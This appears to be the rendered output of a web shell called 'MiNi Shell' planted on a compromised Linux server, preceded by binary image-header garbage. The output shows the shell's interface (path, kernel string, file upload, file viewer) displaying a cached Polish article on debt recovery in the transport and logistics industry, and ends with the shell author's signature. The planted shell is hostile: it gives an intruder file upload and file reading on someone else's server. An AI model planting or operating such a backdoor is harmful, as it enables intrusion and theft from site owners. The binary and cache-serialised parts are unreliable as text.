JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/cd/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/runtime/cache/cd/cd19ae1d242cac3c997723ad6f742503.bin

a:2:{i:0;a:2:{i:0;s:12442:" 
                    
                    <h3 class="title" itemprop="headline">Jak skutecznie odzyskiwać należności w branży TSL?</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 04-06-2025, 07:29</strong>
                        <meta itemprop="dateModified" content=" 04-06-2025, 07:29"/>
                        <div class="hide" itemprop="description">Branża TSL od lat zmaga się z jednym z najbardziej uporczywych problemów – nieterminowymi płatnościami. Opóźnienia w regulowaniu należności stały się tak powszechne, że wielu uczestników rynku zaczęło traktować je jako... branżowy standard. </div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="ksiegowosc.org">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.ksiegowosc.org/images/loga/ksiegowosc.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/84588/crop/800x600/image1-803031001749014949.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.ksiegowosc.org/artykuly/szczegoly/84588"/>
                        
                                        </p>

                    <div class="lorem">
                        <p><strong><strong>Branża TSL od lat zmaga się z jednym z najbardziej uporczywych problemów – nieterminowymi płatnościami. Opóźnienia w regulowaniu należności stały się tak powszechne, że wielu uczestników rynku zaczęło traktować je jako... branżowy standard. </strong></strong></p>
<p>Niska marżowość usług, długie terminy płatności i wysokie koszty operacyjne sprawiają, że działalność w sektorze transportu, spedycji i logistyki niemal zawsze oznacza jedno: konieczność czekania na pieniądze. I to długo.</p>
<p><img class="img-responsive" src="https://common.v-manager.pl/uploads/source/articles/84588/pactus_eu_jak_skutecznie_odzyskiwac_naleznosci_w_tsl_zrodlo_zdjecia_adobestock_3.webp" alt="Jak skutecznie odzyskiwać należności w branży TSL" loading="lazy" /></p>
<p style="text-align:center;"><small>Źródło zdjęcia - AdobeStock</small></p>
<blockquote>
<p>- Z naszej praktyki wynika, że przewoźnicy bardzo często zbyt długo czekają z reakcją na brak płatności. Liczą na to, że kontrahent zapłaci „po weekendzie” albo „po otrzymaniu przelewu od swojego klienta”. Czasem ten okres rozciąga się na kolejne miesiące. Niestety, im dłużej czekamy, tym mniejsze mamy szanse na odzyskanie należności — mówi Jacek Dżumak, ekspert ds. windykacji w firmie Pactus.eu.</p>
</blockquote>
<h3 style="text-align:left;">Specyfika branży TSL</h3>
<p>Branża TSL od lat funkcjonuje w warunkach silnej konkurencji pomiędzy zleceniodawcami usług, a ich wykonawcami. Niska marżowość sprawia, że zleceniodawcy dążą do minimalizacji kosztów, podczas gdy przewoźnicy oczekują godziwego wynagrodzenia, wypłacanego w ustalonym terminie.</p>
<p><img class="img-responsive" src="https://common.v-manager.pl/uploads/source/articles/84588/pactus_eu_jak_skutecznie_odzyskiwac_naleznosci_w_tsl_zrodlo_zdjecia_adobestock.webp" alt="Jak skutecznie odzyskiwać należności w branży TSL" loading="lazy" /></p>
<p style="text-align:center;"><small>Źródło zdjęcia - AdobeStock</small></p>
<p>Powszechną praktyką stało się tworzenie wieloetapowych łańcuchów podwykonawczych, w których kolejne ogniwa przekazują zlecenie dalej – często firmom gotowym zrealizować je za niższą stawkę. Taki model współpracy rodzi szereg ryzyk: prowadzi do rozmycia odpowiedzialności za realizację usługi, a także - co równie istotne – znacząco zwiększa prawdopodobieństwo opóźnień w płatnościach. Wystarczy, że jeden z uczestników tego łańcucha nie dotrzyma terminu, a opóźnienie przenosi się na cały system, uderzając w płynność finansową pozostałych ogniw łańcucha logistycznego.</p>
<h3 style="text-align:left;">Jak zwiększyć skuteczność odzyskiwania należności?</h3>
<p>Po pierwsze, kluczowe znaczenie ma czas reakcji. Im szybciej podejmiemy działania windykacyjne, tym większa szansa na odzyskanie pieniędzy.</p>
<blockquote>
<p>- Skuteczność działań windykacyjnych spada wprost proporcjonalnie do wzrostu stopnia przeterminowania zobowiązania. Im dłużej czekamy - tym mniejsze szanse dajemy sobie na odzyskanie pieniędzy. Co więcej, należności za usługi transportowe ulegają przedawnieniu już po upływie jednego roku - wskazuje ekspert Pactus.eu.</p>
</blockquote>
<p>Po drugie - korzystajmy z pomocy specjalistów. Umiejętności negocjacyjne w zakresie uregulowania zadłużenia to nie jedyna kompetencja, którą należy posiadać by skutecznie dochodzić należności w branży TSL.</p>
<blockquote>
<p>- Przewoźnicy nie są prawnikami ani windykatorami, więc trudno oczekiwać od nich, że będą znać wszystkie procedury czy przepisy prawne. Dlatego warto postawić na specjalistów, którzy znają nie tylko windykację, ale również realia transportu międzynarodowego, także od strony prawnej - dodaje Jacek Dżumak.</p>
</blockquote>
<p>Wielu płatników celowo powołuje się na przepisy prawa, które w danej sytuacji nie mają zastosowania, lub na zapisy zleceń, które nie posiadają mocy prawnej. Wykorzystując niewiedzę kontrahenta, próbują przekonać go, że należność za wykonaną usługę może zostać legalnie rozliczona – na przykład poprzez potrącenie z kwotą wynikającą z nieuprawnionego zastosowania przepisów prawa lub bezprawnych zapisów zawartych w zleceniu transportowym.</p>
<p><img class="img-responsive" src="https://common.v-manager.pl/uploads/source/articles/84588/pactus_eu_jak_skutecznie_odzyskiwac_naleznosci_w_tsl_zrodlo_zdjecia_adobestock_2.webp" alt="Jak skutecznie odzyskiwać należności w branży TSL" loading="lazy" /></p>
<p style="text-align:center;"><small>Źródło zdjęcia - AdobeStock</small></p>
<p>Po trzecie – warto mieć świadomość, jak funkcjonuje nasz kontrahent. Branża TSL to stosunkowo zamknięte środowisko – co niesie ze sobą zarówno korzyści, jak i zagrożenia. Informacje o zaległościach płatniczych rozchodzą się w nim bardzo szybko, a utrata reputacji może pociągać za sobą poważne konsekwencje biznesowe.</p>
<p>Z drugiej strony, działając z odpowiednią konsekwencją i zachowując obiektywizm, możemy stosunkowo wcześnie wychwycić sygnały ostrzegawcze, świadczące o potencjalnych problemach z płatnością. To z kolei daje szansę na szybkie i skuteczne podjęcie działań windykacyjnych, zanim sytuacja wymknie się spod kontroli.</p>
<p>Po czwarte – kierujmy się rozsądkiem, nie emocjami. W relacjach biznesowych, zarówno nadmierny entuzjazm, jak i frustracja mogą prowadzić do błędnych decyzji. Jeśli dotychczasowa współpraca z kontrahentem układała się dobrze, warto w przypadku problemów z płatnością rozważyć próbę polubownego rozwiązania sytuacji.</p>
<p>Z kolei w przypadku partnera, który konsekwentnie nie wywiązuje się ze swoich deklaracji i po raz kolejny prosi o wstrzymanie działań windykacyjnych, opierając się na wątpliwych argumentach, powinna nam się zapalić czerwona lampka. Uleganie takim manipulacjom może prowadzić do poważnych strat finansowych i dalszego pogłębiania problemu.</p>
<p>Windykacja w branży TSL to nie tylko kwestia odzyskiwania należności – to również element budowania zdrowego i bezpiecznego rynku. Szybka reakcja na opóźnienia, systematyczne monitorowanie płatności oraz gotowość do sięgania po narzędzia branżowe, sprzyjają nie tylko interesom pojedynczych firm, ale też porządkują relacje w całym sektorze.</p>
<blockquote>
<p>- Im więcej uczestników rynku zacznie konsekwentnie egzekwować należności, tym mniejsza będzie przestrzeń dla nieuczciwych praktyk. Uzdrowienie branży zaczyna się od codziennych decyzji tysięcy przewoźników – od tego, czy zdecydują się zareagować od razu, czy pozwolą dłużnikowi grać na czas - podsumowuje ekspert z Pactus.eu.</p>
</blockquote>                        
                         
 
                        <div class="googleads-article">
<!-- script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script -->
<!-- vManager - w treści artykułu 2 -->
<ins class="adsbygoogle"
     style="display:block"
     data-ad-client="ca-pub-6177099932506559"
     data-ad-slot="9192484574"
     data-ad-format="auto"
     data-full-width-responsive="true"></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script>
                        </div>


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            <p class="text-right">Artykuł zewnętrzny</p>
                                            
                      
                        
                        
                    
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=transport" class="label label-default">transport</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=windykacja" class="label label-default">windykacja</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=branża+TSL" class="label label-default">branża TSL</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=regulowanie+należności" class="label label-default">regulowanie należności</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=nieterminowe+płatności" class="label label-default">nieterminowe płatności</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=przewoźnik" class="label label-default">przewoźnik</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=branża+transportowa" class="label label-default">branża transportowa</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.ksiegowosc.org/artykuly/szczegoly/84588_jak-skutecznie-odzyskiwac-naleznosci-w-branzy-tsl" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_84588";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"4e9e735cebb912b463fc60b313ef34f6";s:21:"0.56579700 1749015260";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com